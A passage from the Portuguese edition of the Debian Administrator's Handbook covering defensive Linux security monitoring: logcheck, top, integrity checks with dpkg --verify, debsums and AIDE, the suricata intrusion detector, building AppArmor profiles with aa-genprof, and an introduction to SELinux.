• e finalmente, as que se aplicam às mensagens restantes (consideradas como eventos de
sistema).

ATENÇÃO

Ignorando uma
mensagem

Qualquer mensagem marcada como uma tentativa de invasão ou um
alerta de segurança (seguindo uma regra armazenada num arquivo
/etc/logcheck/violations.d/myfile) só pode ser ignorada por uma
regra em arquivos /etc/logcheck/violations.ignore.d/myfile ou
/etc/logcheck/violations.ignore.d/myfile-extensão.

Um evento de sistema é sempre sinalizado a menos que uma regra em um dos diretórios
/etc/logcheck/ignore.d.{paranoid,server,workstation}/ indique que o evento deve ser
ignorado. Naturalmente, os únicos diretórios levados em consideração são aqueles que corres-
pondem aos níveis de verbosidade iguais oumaiores que omodo de funcionamento selecionado.

14.3.2. Monitorando Atividades

Em Tempo Real

top é uma ferramenta interativa que exibe uma lista de processos em execução. A ordem pa-
drão baseia-se na quantidade atual de utilização do processador e pode ser obtida com a tecla P.
Outras ordenações incluemordenar pormemória ocupada (teclaM), pelo tempo total do proces-
sador (tecla T) e pelo identificador de processo (tecla N). A tecla k permite matar um processo
digitando seu identificador de processo. A tecla r permite fazer renice num processo, ou seja,
mudar sua prioridade.
Quando o sistema parece estar sobrecarregado, top é uma ótima ferramenta para ver quais pro-
cessos estão competindo por tempo de processador ou consumindo muita memória. Em parti-
cular, muitas vezes é interessante verificar se os processos que consomem recursos coincidem
com os serviços reais conhecidos que a máquina hospeda. Um processo desconhecido rodando
como o usuário www-data deve realmente se destacar e ser investigado, já que é provavelmente
uma instância de software instalado e executado no sistema através de uma vulnerabilidade em
uma aplicação web.
top é uma ferramenta muito flexível e sua página de manual dá detalhes sobre como personali-
zar a sua exibição e adaptá-la às suas necessidades e hábitos pessoais.
A ferramenta gráfica gnome-system-monitor é semelhante ao top e proporcionamais oumenos
os mesmos recursos.
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História

Carga do processador, o tráfego de rede e o espaço livre no disco são informações que variam
constantemente. Manter um histórico de sua evolução é muitas vezes útil para determinar exa-
tamente como o computador é usado.
Existem muitas ferramentas dedicadas a esta tarefa. A maioria pode buscar dados via SNMP
(Simple Network Management Protocol, a fim de centralizar esta informação. Um benefício adicio-
nal é que este permite buscar dados de elementos de rede que podem não ser de computadores
de uso geral, tais como roteadores de rede dedicadas ou switches.
Este livro trata do Munin com algum detalhe (ver Seção 12.4.1, “Configurando o Munin” [364])
como parte do Capítulo 12: “Administração Avançada” [318]. O Debian também fornece uma
ferramenta similar, o cacti. Sua implantação é um pouco mais complexa, pois se baseia apenas
em SNMP. Apesar de ter uma interface web, compreender os conceitos envolvidos na configu-
ração ainda requer algum esforço. A leitura da documentação HTML (/usr/share/doc/cacti/
html/index.html) deve ser considerada um pré-requisito.

ALTERNATIVO

mrtg

O mrtg (do pacote com mesmo nome) é uma antiga ferramenta. Apesar de ser
meio difícil de trabalhar, ela pode agregar dados históricos e exibi-los na forma de
gráficos. Ela inclui uma série de scripts dedicados à coleta de dados mais comu-
mente monitorados, tais como a carga do processador, o tráfego de rede, acessos a
páginas web, e assim por diante.

Os pacotes mrtg-contrib e mrtgutils contém scripts de exemplo que podem ser
utilizados diretamente.

14.3.3. Detectando Modificações

Uma vez que o sistema esteja instalado e configurado, e impedindo atualizações de segurança,
geralmente não há razão para a maioria dos arquivos e diretórios evoluirem, exceto os dados. É
interessante, portanto, certificar se que os arquivos realmente não alteram: qualquer mudança
seria, portanto, inesperada, valendo a pena investigar. Esta seção apresenta algumas ferramen-
tas capazes de monitorar os arquivos e para avisar o administrador quando ocorrer uma mu-
dança inesperada (ou simplesmente para listar tais mudanças).

Auditando Pacotes com o dpkg --verify

INDO ALÉM

Protegendo-se contra
mudanças do

desenvolvedor

dpkg --verify é útil na detecção de alterações em arquivos provenientes de um
pacote Debian, mas será inútil se o pacote em si estiver comprometido, por exem-
plo se o espelho Debian está comprometido. Se proteger contra este tipo de ata-
ques envolve a utilização de sistema APT de verificação de assinatura digital (veja
Seção 6.5, “Verificando Autenticidade do Pacote” [126]), e tomar cuidado para só
instalar pacotes a partir de uma origem certificada.

404 O Manual do Administrador Debian



O dpkg --verify (ou dpkg -V) é uma ferramenta interessante já que permite encontrar quais
arquivos instalados foram modificados (potencialmente por um invasor), mas isso é apenas um
pequenopasso. Para fazer seu trabalho ele confia nos checksums armazenados no próprio banco
de dados do dpkg, que é armazenado no disco rígido (eles podem ser encontrados em /var/
lib/dpkg/info/pacote.md5sums); Um atacante que faz o serviço bem feito irá atualizar esses
arquivos para que eles contenham os novos checksums dos arquivos subvertidos.

DE VOLTA AO BÁSICO

Impressão digital de
arquivo

Como um lembrete: a impressão digital é um valor, muitas vezes um número
(mesmo que em notação hexadecimal), que contém uma espécie de assinatura para
o conteúdo de um arquivo. Esta assinatura é calculada com um algoritmo (MD5 ou
SHA1 sendo exemplos bem conhecidos) que garanta mais ou menos que, mesmo a
mais ínfima mudança no conteúdo do arquivo implica uma mudança na impressão
digital, o que é conhecido como o ”efeito avalanche”. Isto permite uma impressão
digital numérica simples para servir como um teste para verificar se o conteúdo
de um arquivo foi alterado. Estes algoritmos não são reversíveis, em outras pala-
vras, para a maioria deles, sabendo a impressão digital não permite encontrar o
conteúdo correspondente. Os recentes avanços matemáticos parecem enfraquecer
o poder absoluto destes princípios, mas seu uso não foi questionado até agora, pois
produzir a mesma impressão digital a partir de conteúdos diferentes ainda parece
ser uma tarefa bastante difícil.

Ao rodar dpkg -V todos os pacotes instalados serão verificados e será impressa uma linha para
cada arquivo que falhar em algum teste. O formato de saída é o mesmo que o do rpm -V onde
cada caractere denota um teste em algum metadado específico. Infelizmente o dpkg não ar-
mazena o metadado necessário para a maioria dos testes e irá, assim, exibir uma interrogação
para estes. Atualmente apenas o teste de checksum pode render um ”5” no terceiro caractere
(quando ele falha).

# dpkg -V
??5?????? /lib/systemd/system/ssh.service
??5?????? c /etc/libvirt/qemu/networks/default.xml
??5?????? c /etc/lvm/lvm.conf
??5?????? c /etc/salt/roster

No exemplo acima, o dpkg reporta uma alteração no arquivo service do SSH que o administra-
dor fez no arquivo empacotado ao invéz de usar uma sobrescrita apropriada no /etc/systemd/
system/ssh.service (que seria armazenada abaixo de /etc como qualquer mudança de con-
figuração deveria ser). Ele também lista múltiplos arquivos de configuração (identificados pela
letra ”c” no segundo campo) que foram legitimamente modificados.

Auditando Pacotes: debsums e seus limites

O debsums é o ancestral do dpkg -V e sendo assimépraticamente obsoleto. Ele sofre dasmesmas
limitações que o dpkg. Felizmente, algumas das limitações podem ser superadas (enqunato que
o dpkg não oferece tais ações).
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Já que dados no disco não são confiáveis, o debsums oferece fazer sua checagem com base nos
arquivos .deb ao invéz de confiar no banco de dados do dpkg. Para baixar arquivos .deb confiá-
veis de todos os pacotes instalados, nós podemos confiar nos downloads autênticados pelo APT.
Essa operação pode ser lenta e tediosa, e deve assim, não ser considerada uma técnica proativa
a ser usada no cotidiano.
# apt-get --reinstall -d install ‘grep-status -e ’Status: install ok installed’ -n -s

å Package‘
[ ... ]
# debsums -p /var/cache/apt/archives --generate=all

Note que este exemplo usa o comando grep status a partir do pacote dctrl-tools, que não é
instalado por padrão.

Monitorando Arquivos: AIDE

A ferramenta AIDE (Advanced Intrusion Detection Environment - Ambiente Avançado de Deteccao In-
trusao) permite verificar a integridade de arquivos, e detectar qualquer mudança em relacao
a uma imagem gravada anteriormente do sistema válido. Esta imagem é armazenada como
um banco de dados ( /var/lib/aide/aide.db) que contém as informações relevantes de to-
dos os arquivos do sistema (impressões digitais, permissões, timestamps e assim por diante).
Este banco de dados é inicializado com aideinit, que é então usado diariamente (pelo script
/etc/cron.daily/ ) para verificar que nada de relevante mudou. Quando forem detectadas al-
terações, AIDE grava os em arquivos de log (/var/log/aide/*.log) e envia os seus resultados
ao administrador por e-mail.

NA PRATICA

Protegendo o banco de
dados

Como AIDE usa um banco de dados local para comparar os estados dos arquivos,
a validade de seus resultados está diretamente ligada à validade do banco de da-
dos. Se um atacante obtém permissões de root em um sistema comprometido, eles
serão capazes de substituir o banco de dados e cobrir seus rastros. Uma possível
solução seria armazenar os dados de referência em mídia somente leitura de arma-
zenamento.

Muitas opções em /etc/default/aide pode ser usadas para ajustar o comportamento do pa-
cote aide. A configuração AIDE adequada é armazenada em /etc/aide/aide.conf e /etc/
aide/aide.conf.d/ (na verdade, esses arquivos são usados update-aide.conf para gerar
/var/lib/aide/aide.conf.autogenerated). Configuração indica quais propriedades de ar-
quivos precisam ser verificadas. Por exemplo, o conteúdo de arquivos logmuda rotineiramente,
e estas modificações podem ser ignoradas, desde que as permissões destes arquivos permane-
çam o mesmo, mas ambos os conteúdos e as permissões de programas executáveis devem ser
constantes. Embora não seja muito complexo, a sintaxe de configuração não é totalmente intui-
tiva, e a leitura de aide.conf(5) da página do manual é recomendada.
Uma nova versão do banco de dados é gerada diariamente em /var/lib/aide/aide.db.new, se
todas alterações registradas eram legítimas, ele pode ser usado para substituir o banco de dados
de referência.
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ALTERNATIVO

Tripwire and Samhain
Tripwire é muito semelhante ao AIDE; mesmo a sintaxe arquivo de configuração é
quase a mesma. A adição principal fornecida pelo tripwire é um mecanismo para
assinar o arquivo de configuração, de modo que um atacante não pode torná lo
ponto em uma versão diferente do banco de dados de referência.

Samhain também oferece características semelhantes, bem como algumas funções
ajudar a detectar rootkits (veja a barra lateral os pacotes checksecurity e chkroot-
kit/rkhunter [407]). Também pode ser implementado globalmente em uma rede, e
gravar os seus vestigios em um servidor central (com uma assinatura).

OLHADA RÁPIDA

os pacotes checksecurity e
chkrootkit/rkhunter

O primeiro destes pacotes contém vários pequenos scripts que executam verifica-
ções básicas sobre o sistema (senhas vazias, arquivos setuid novos, e assim por
diante) e alerta o administrador, se necessário. Apesar de seu nome expressar, um
administrador não deve confiar somente nele para certificar se que um sistema
Linux está seguro.

Os pacotes chkrootkit e rkhunter permitem buscar por potenciais rootkits instala-
dos no sistema. Como um lembrete, existem peças de software desenvolvidas para
esconder o comprometimento de um sistema enquanto, discretamente, mantém
o controle da máquina. Os testes não são 100% confiáveis, mas eles geralmente
chamam a atenção do administrador para potenciais problemas.

14.3.4. Detectando Intrusoes (IDS/NIDS)

DE VOLTA AO BASICO

Negação de serviço
O ataque ”negação de serviço” tem apenas um objetivo: tornar um serviço indispo-
nível. Se tal ataque envolve a sobrecarrega do servidor com consultas ou explorar
uma falha, o resultado final é o mesmo: o serviço não é mais operacional. Os usuá-
rios regulares estão infelizes, e a entidade que hospeda o serviço de rede alvo sofre
uma perda de reputação (e, eventualmente, em receita, por exemplo, se o serviço
era um site de comércio eletrônico).

Tal ataque é por vezes ”distribuído”, o que geralmente envolve sobrecarregar o servi-
dor com um grande número de consultas provenientes de muitas fontes diferentes
para que o servidor se torna incapaz de responder às perguntas legítimas. Estes
tipos de ataques ganharam siglas bem conhecidas: DDoS e DoS (dependendo se o
ataque de negação de serviço distribuído ou não).

suricata (no pacote Debian com omesmo nome) é um NIDS - um Sistema de Detecção de Intrusão
de Rede. Sua função é ouvir a rede e tentar detectar tentativas de infiltração e/ou atos hostis (in-
cluindo ataques de negação de serviço). Todos esses eventos são registrados emmúltiplos arqui-
vos em /var/log/suricata. Existem ferramentas de terceiros (Kibana/logstash) para melhor
navegar pelos dados coletados.
è http://suricata-ids.org

è https://www.elastic.co/products/kibana
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ATENÇÃO

Raio de ação
A eficácia do suricata é limitada pelo tráfego visto na interface de rede monito-
rada. Obviamente, não será capaz de detectar qualquer coisa se não pode observar
o tráfego real. Quando conectado a um switch de rede, ele irá, portanto, apenas
monitorar ataques contra a máquina em que ele roda, o que provavelmente não é a
intenção. A máquina que hospeda o suricata deve estar ligada a porta ”espelho”
do switch, que normalmente é dedicada aos interruptores (switches) encadeados e,
portanto, recebe todo o tráfego.

A configuração do suricata envolve rever e editar o /etc/suricata/suricata-debian.yaml,
que é muito grande porque cada parâmetro é abundantemente comentado. Uma configu-
ração minima requer descrever o intervalo de endereços que a rede local cobre (parâmetro
HOME_NET). Na prática, isso significa o conjunto de todos os alvos possíveis de ataque. Mas
para obter o máximo dele requer uma leitura completa para adaptá-lo para a situação local.
No topo disso, você deveria também editar o /etc/default/suricata para definir a interface
de rede a ser monitorada e para habilitar o script init (setando RUN=yes). Você também deve
querer definir LISTENMODE=pcap porquê o padrão LISTENMODE=nfqueue requer configura-
ções adicionais para funcionar de maneira apropriada (o firewall netfilter tem que ser configu-
rado para passar pacotes para alguma fila do espaço de usuário manipulada pelo suricata via o
alvo NFQUEUE).
Para detectar maus comportamentos, o suricata precisa de um conjunto de regras de monito-
ramento: você pode encontrar tais regras no pacote snort-rules-default. O snort é a referência
histórica no ecosistema de IDS e o suricata é capaz de reusar as regras escritas para ele. In-
felizmente, esse pacote não está presente no Debian Jessie e deve ser obtido a partir de outro
lançamento Debian como o Testing ou Unstable.
Alternativamente, o oinkmaster (em pacote de mesmo nome) pode ser usado para baixar um
conjunto de regras do Snort a partir de fontes externas.

INDO ALÉM

Integração com o prelude

Prelude traz monitoramento centralizado de informações de segurança. Sua arqui-
tetura modular inclui um servidor (o gerente manager em prelude-manager) que
reúne os alertas gerados por sensores de vários tipos.

O Suricata pode ser configurado como um destes sensores. Outras possibilidades
incluem prelude-lml (Log Monitor Lackey), que monitora os arquivos de registro
(de forma semelhante ao logcheck, descrito em Seção 14.3.1, “Monitoramento de
Logs com logcheck” [402]).

14.4. Introdução ao AppArmor

14.4.1. Princípios

AppArmor é um sistema Controle de Acesso Mandatório (MAC - Mandatory Access Control) cons-
truído sobre a interface LSM (Linux Security Modules) do Linux. Na prática, o kernel consulta
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o AppArmor antes de cada chamada do sistema para saber se o processo está autorizado a fa-
zer a operação dada. Através desse mecanismo, o AppArmor confina programas a um limitado
conjunto de recursos.
O AppArmor aplica um conjunto de regras (conhecidas como “perfil”) em cada programa. O
perfil aplicado pelo kernel depende do caminho (”path”) de instalação do programa sendo exe-
cutado. Ao contrário do SELinux (discutido em Seção 14.5, “Introducao ao SELinux” [416]), as
regras aplicadas não dependem do usuário. Todos os usuários encontram o mesmo conjunto
de regras quando eles estão executando o mesmo programa (mas as permissões tradicionais do
usuário ainda se aplicam e podem resultar em um comportamento diferente!).
Os perfis AppArmor são armazenados em /etc/apparmor.d/ e eles contém uma lista de regras
de controle de acesso em recursos que cada programa pode fazer uso. Os perfis são compilados
e carregados no núcleo pelo comando apparmor_parser. Cada perfil pode ser carregado tanto
em modo de aplicação (”enforcing”) quanto em modo de registro (”complaining”). O primeiro
aplica a política e reporta as tentativas de violação, enquanto que o último não aplica a política
mas mantém os registros de chamadas de sistema que deveriam ter sido negadas.

14.4.2. Habilitando o AppArmor e gerenciando os perfis AppArmor

O suporte ao AppArmor é construído nos kernel padrões fornecidos pelo Debian.Habilitar o Ap-
pArmor, é assim, uma simples questão de instalar alguns pacotes e adicionar alguns parâmetros
a linha de comando do kernel:
# apt install apparmor apparmor-profiles apparmor-utils
[...]
# perl -pi -e ’s,GRUB_CMDLINE_LINUX=”(.*)”$,GRUB_CMDLINE_LINUX=”$1 apparmor=1

å security=apparmor”,’ /etc/default/grub
# update-grub

Após uma reinicialização, o AppArmor está agora funcional e o aa-status irá confirmar isso
rapidamente:
# aa-status
apparmor module is loaded.
44 profiles are loaded.
9 profiles are in enforce mode.

/usr/bin/lxc-start
/usr/lib/chromium-browser/chromium-browser//browser_java

[...]
35 profiles are in complain mode.

/sbin/klogd
[...]
3 processes have profiles defined.
1 processes are in enforce mode.

/usr/sbin/libvirtd (1295)
2 processes are in complain mode.

/usr/sbin/avahi-daemon (941)
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/usr/sbin/avahi-daemon (1000)
0 processes are unconfined but have a profile defined.

NOTA

Mais perfis AppArmor
Opacote apparmor-profiles contém perfis gerenciados pela comunidade upstream
do AppArmor. Para obter aindamais perfis você pode instalar o apparmor-profiles-
extra que contém perfis desenvolvidos pelo Ubuntu e Debian.

O estado de cada perfil pode ser alterado entre aplicação (”enforcing”) e registro (”complai-
ning”) com chamadas a aa-enforce e aa-complain dando como parâmetro tanto o caminho
para o executável como o caminho para o arquivo de política. Adicionalmente, um perfil pode
ser inteiramente desabilitado com aa-disable ou posto emmodo auditar (”audit”) (para aceitar
chamadas de sistema também) com aa-audit.
# aa-enforce /usr/sbin/avahi-daemon
Setting /usr/sbin/avahi-daemon to enforce mode.
# aa-complain /etc/apparmor.d/usr.bin.lxc-start
Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.

14.4.3. Criando um novo perfil

Mesmo sendo bem fácil criar um perfil AppArmor, a maioria dos programas não tem um. Essa
seção irá mostrar a você como criar um novo perfil a partir do zero apenas usando o programa
alvo e deixando o AppArmor monitorar a chamada de sistema que ele faz e os recursos que ele
acessa.
Os programas mais importantes que precisam ser confinados são os programas voltados para a
rede, aqueles mais atrativos à ataques remotos. É por isso que o AppArmor convenientemente
fornece o comando aa-unconfined para listar os programas que não tem perfil associado e que
expôem um soquete de rede aberto. Com a opção --paranoid você tem todos os processos não
confinados que tem ao menos uma conexão de rede ativa.
# aa-unconfined
801 /sbin/dhclient not confined
890 /sbin/rpcbind not confined
899 /sbin/rpc.statd not confined
929 /usr/sbin/sshd not confined
941 /usr/sbin/avahi-daemon confined by ’/usr/sbin/avahi-daemon (complain)’
988 /usr/sbin/minissdpd not confined
1276 /usr/sbin/exim4 not confined
1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined
1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined
19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined

No exemplo a seguir, nós iremos então tentar criar um perfil para o /sbin/dhclient. Para isso,
nós iremos usar o aa-genprof dhclient. Ele irá convidar você a usar a aplicação em outra ja-
nela e quando terminar volte ao aa-genprof para procurar por eventos AppArmor nos registros
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(”logs”) do sistema e converter esses registros em regras de acesso. Para cada evento registrado,
ele irá fazer uma ou mais sugestões de regras que você pode tanto aprovar quanto fazer edições
adicionais de múltiplas maneiras:

# aa-genprof dhclient
Writing updated profile for /sbin/dhclient.
Setting /sbin/dhclient to complain mode.

Before you begin, you may wish to check if a
profile already exists for the application you
wish to confine. See the following wiki page for
more information:
http://wiki.apparmor.net/index.php/Profiles

Please start the application to be profiled in
another window and exercise its functionality now.

Once completed, select the ”Scan” option below in
order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the
opportunity to choose whether the access should be
allowed or denied.

Profiling: /sbin/dhclient

[(S)can system log for AppArmor events] / (F)inish
Reading log entries from /var/log/audit/audit.log.

Profile: /sbin/dhclient x1
Execute: /usr/lib/NetworkManager/nm-dhcp-helper
Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r
å )t / (F)inish

P
Should AppArmor sanitise the environment when
switching profiles?

Sanitising environment is more secure,
but some applications depend on the presence
of LD_PRELOAD or LD_LIBRARY_PATH.

(Y)es / [(N)o]
Y
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.
Complain-mode changes:
WARN: unknown capability: CAP_net_raw
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Profile: /sbin/dhclient x2
Capability: net_raw
Severity: unknown

[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish
A
Adding capability net_raw to profile.

Profile: /sbin/dhclient x3
Path: /etc/nsswitch.conf
Mode: r
Severity: unknown

1 - #include <abstractions/apache2-common>
2 - #include <abstractions/libvirt-qemu>
3 - #include <abstractions/nameservice>
4 - #include <abstractions/totem>
[5 - /etc/nsswitch.conf]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F

å )inish / (M)ore
3

Profile: /sbin/dhclient
Path: /etc/nsswitch.conf
Mode: r
Severity: unknown

1 - #include <abstractions/apache2-common>
2 - #include <abstractions/libvirt-qemu>
[3 - #include <abstractions/nameservice>]
4 - #include <abstractions/totem>
5 - /etc/nsswitch.conf

[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F
å )inish / (M)ore

A
Adding #include <abstractions/nameservice> to profile.

Profile: /sbin/dhclient
Path: /proc/7252/net/dev
Mode: r
Severity: 6

1 - /proc/7252/net/dev
[2 - /proc/*/net/dev]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F

å )inish / (M)ore
A
Adding /proc/*/net/dev r to profile
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[...]
Profile: /sbin/dhclient x4
Path: /run/dhclient-eth0.pid
Mode: w
Severity: unknown

[1 - /run/dhclient-eth0.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F

å )inish / (M)ore
N

Enter new path: /run/dhclient*.pid

Profile: /sbin/dhclient
Path: /run/dhclient-eth0.pid
Mode: w
Severity: unknown

1 - /run/dhclient-eth0.pid
[2 - /run/dhclient*.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F

å )inish / (M)ore
A
Adding /run/dhclient*.pid w to profile

[...]
Profile: /usr/lib/NetworkManager/nm-dhcp-helper x5
Path: /proc/filesystems
Mode: r
Severity: 6

[1 - /proc/filesystems]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F

å )inish / (M)ore
A
Adding /proc/filesystems r to profile

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /sbin/dhclient]
2 - /usr/lib/NetworkManager/nm-dhcp-helper

(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)
å lean profiles / Abo(r)t

S
Writing updated profile for /sbin/dhclient.
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.
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Profiling: /sbin/dhclient

[(S)can system log for AppArmor events] / (F)inish
F
Setting /sbin/dhclient to enforce mode.
Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!
See the following wiki page for more information:
http://wiki.apparmor.net/index.php/Profiles

Finished generating profile for /sbin/dhclient.

Note que o programa não exibe de volta os caracteres de controle que você digitou, mas para
clarear a explicação eu inclui elas na transcrição prévia.

x1 O primeiro evento detectado é a execução de outro programa. Neste caso, você temmúlti-
plas escolhas: você pode rodar o programa com o perfil do processo pai (a escolha “Inhe-
rit”), você pode rodá-lo com seu próprio e dedicado perfil (as escolhas “Profile” e “Na-
med”, diferindo apenas pela possibilidade de usar um nome de perfil arbitrário), você
pode rodá-lo com um sub-perfil do processo pai (a escolha “Child”), você pode rodá-lo
sem qualquer perfil (a escolha “Unconfined”) ou você pode decidir não rodá-lo de forma
alguma (a escolha “Deny”).
Note que quando você opta por rodá-lo sob um perfil dedicado que não existe ainda, a
ferramenta irá criar o perfil em falta para você e irá fazer sugestões de regras para esse
perfil em um mesmo tempo.x2 A nível do kernel, os poderes especiais do usuário root foram divididos em “recursos”.
Quando uma chamada de sistema requer um recurso específico, o AppArmor irá verificar
se o perfil permite ao program fazer uso desse recurso.x3 Aqui o programa busca por permissões de leitura para o /etc/nsswitch.conf. O
aa-genprof detecta que essa permissão era também obtida por múltiplas ”abstrações”
e as oferece como escolhas alternativas. Uma abstração fornece um reusável conjunto de
regras de acesso reunindo múltiplos recursos que são comumente usados juntos. Nesse
caso específico, o arquivo é geralmente acessado através das funções relacionadas a na-
meservice da biblioteca do C e nós digitamos “3” para primeiro selecionarmos a opção
“#include <abstractions/nameservice>” e então “A” para dar a permissão.x4 O programa quer criar o arquivo /run/dhclient-eth0.pid. Se nós permitirmos apenas
a criação desse arquivo específico, o programa não irá funcionar quando o usuário for usá-
lo com outra interface de rede. Assim, nós selecionamos ”Novo” (“New”) para substituir
o nome de arquivo por algo mais genérico como “/run/dhclient*.pid” antes de gravar a
regra com ”Permitir” (“Allow”).
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x5 Note que essa requisição de acesso não é parte do perfil do dhclient mas do novo perfil
quenós criamos quandonós permitimos o /usr/lib/NetworkManager/nm-dhcp-helper
rodar com seu próprio perfil.
Após termos passado por todos os eventos registrados, o programa se oferece para sal-
var todos os perfis que foram criados durante sua execução. Neste caso, nós temos dois
perfis que nós salvamos aomesmo tempo com ”Salvar” (“Save”) (mas você pode salvá-los
individualmente também) antes de sair do programa com ”Terminar” (“Finish”).

O aa-genprof é na realidade apenas um envoltório inteligente em volta do aa-logprof: ele cria
um perfil vazio, carrega-o em modo de registro (”complain mode”) e então roda o aa-logprof
que é uma ferramenta para atualizar um perfil com base nas violações de perfil que foram regis-
tradas. Então você pode rodar novamente essa ferramenta mais tarde para aprimorar o perfil
que você acabou de criar.
Se você quer que o perfil gerado seja completo, você deveria usar o programa de todas as ma-
neiras que sejam legítimas de usar. No caso do dhclient, isso significa rodá-lo via Network
Manager, rodá-lo via ifupdown, rodá-lo manualmente, etc. No final, você deve obter um
/etc/apparmor.d/sbin.dhclient próximo a isso:
# Last Modified: Tue Sep 8 21:40:02 2015
#include <tunables/global>

/sbin/dhclient {
#include <abstractions/base>
#include <abstractions/nameservice>

capability net_bind_service,
capability net_raw,

/bin/dash r,
/etc/dhcp/* r,
/etc/dhcp/dhclient-enter-hooks.d/* r,
/etc/dhcp/dhclient-exit-hooks.d/* r,
/etc/resolv.conf.* w,
/etc/samba/dhcp.conf.* w,
/proc/*/net/dev r,
/proc/filesystems r,
/run/dhclient*.pid w,
/sbin/dhclient mr,
/sbin/dhclient-script rCx,
/usr/lib/NetworkManager/nm-dhcp-helper Px,
/var/lib/NetworkManager/* r,
/var/lib/NetworkManager/*.lease rw,
/var/lib/dhcp/*.leases rw,

profile /sbin/dhclient-script flags=(complain) {
#include <abstractions/base>
#include <abstractions/bash>
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/bin/dash rix,
/etc/dhcp/dhclient-enter-hooks.d/* r,
/etc/dhcp/dhclient-exit-hooks.d/* r,
/sbin/dhclient-script r,

}
}

14.5. Introducao ao SELinux

14.5.1. Princípios

SELinux (Security Enhanced Linux) é um sistema de controle de acesso obrigatório construído sobre
a interface LSM (Linux Security Modules) do Linux. Na prática, o kernel consulta o SELinux antes
de cada chamada do sistema para saber se o processo está autorizado a fazer a operação dada.
SELinux utiliza um conjunto de regras - conhecidos coletivamente como uma política - para au-
torizar ou proibir as operações. Essas regras são difíceis de criar. Felizmente, duas diretivas
padroes (targeted e strict) são fornecidas para evitar a maior parte do trabalho de configuração.
Com o SELinux, a gestão dos direitos é completamente diferente do sistema Unix tradicional.
Os direitos de um processo depende de seu contexto de segurança. O contexto é definido pela
identidade do usuário que iniciou o processo, o papel e o domínio que o usuário realizada naquele
momento. Os direitos realmente dependem do domínio, mas transições entre os domínios são
controladas pelos papéis. Finalmente, as transições possíveis entre os papéis dependem da iden-
tidade.

Figura 14.3 Contextos de segurança e usuários Unix
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Na prática, durante o login, ao usuário é atribuído um contexto de segurança padrão (depen-
dendo das funções que eles devem ser capazes de endossar). Isto define o domínio corrente e,
assim, o domínio que todos os novos processos filho irao transportar. Se você quiser alterar
o papel atual e seu domínio associado, você deve chamar newrole-r role_r -t domain_t
(normalmente há apenas um único domínio permitido para uma determinada função, o parâ-
metro -t pode, assim, muitas vezes, ser deixado de fora). Este comando autentica você pedindo
que você digite sua senha. Este recurso proíbe programasmudarem automaticamente os papéis.
Tais mudanças só podem acontecer se forem expressamente permitidas pela política SELinux.
Obviamente, os direitos não se aplicam a todos os objetos (arquivos, diretórios, soquetes, dis-
positivos, etc.). Eles podem variar de objeto para objeto. Para conseguir isso, cada objeto é
associado a um tipo (isto é conhecido como etiquetagem). Direitos de domínio são, portanto,
expressos com conjuntos de operações (não) permitidos sobre os tipos (e, indiretamente, em
todos os objetos que são etiquetados com o tipo de dado).

EXTRA

Domínios e Tipos são
equivalentes

Internamente um domínio é apenas um tipo, mas um tipo que só se aplica a pro-
cessos. É por isso que os domínios tem sufixo _t igual aos tipos de objeto.

Por padrão, um programa herda seu domínio do usuário que o iniciou, mas políticas SELinux
padrões esperam quemuitos programas importantes sejam executados em domínios dedicados.
Para conseguir isso, estes executáveis sãomarcados com um tipo específico (por exemplo ssh) é
marcado com ssh_exec_t, e quando o programa é iniciado, ele muda automaticamente no domí-
nio ssh_t). Este mecanismo de transição automática de domínio torna possível conceder apenas
os direitos necessários para cada programa. É um princípio fundamental do SELinux.

Figura 14.4 Transicoes automaticas entre dominios

NA PRATICA

Encontrar o contexto de
segunranca

Para encontrar o contexto de segurança de um determinado processo, você deve
usar a opção Z do ps.

$ ps axZ | grep vstfpd
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system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/
å vsftpd

O primeiro campo contém a identidade, o papel, o domínio e o nível MCS, separa-
dos por vírgulas. O nível de MCS (Multi-Category Security) é um parâmetro que
intervém na configuração de uma política de protecção da confidencialidade, que
regula o acesso a arquivos com base em sua sensibilidade. Esta funcionalidade não
será explicada neste livro.

Para encontrar o contexto de segurança atual em um shell, você deve chamar id-Z.

$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Finalmente, para encontrar o tipo atribuído a um arquivo, você pode usar o ls -Z.

$ ls -Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

É interessante notar que a identidade e o papel atribuído a um arquivo não têm
qualquer importância especial (eles nunca são usados), mas por uma questão de
uniformidade, todos os objetos são atribuídos num contexto de segurança com-
pleto.

14.5.2. Configurando o SELinux

O suporte SELinux é construído nos kernels padroes fornecidos pelo Debian. As principais fer-
ramentas de suporte Unix SELinux sem quaisquer modificações. É, assim, relativamente fácil,
habilitar SELinux.
O comando apt install selinux-basics selinux-policy-default irá instalar automatica-
mente os pacotes necessários para configurar um sistema SELinux.

ATENCAO

Política de referência que
não está na jessie

Infelizmente, os mantenedores do pacote fonte refpolicy não resolveram bugs críti-
cos de lançamento de seus pacotes e o pacote foi removido da jessie. Isso significa
que os pacotes selinux-policy-* não são instaláveis atualmente na jessie e precisam
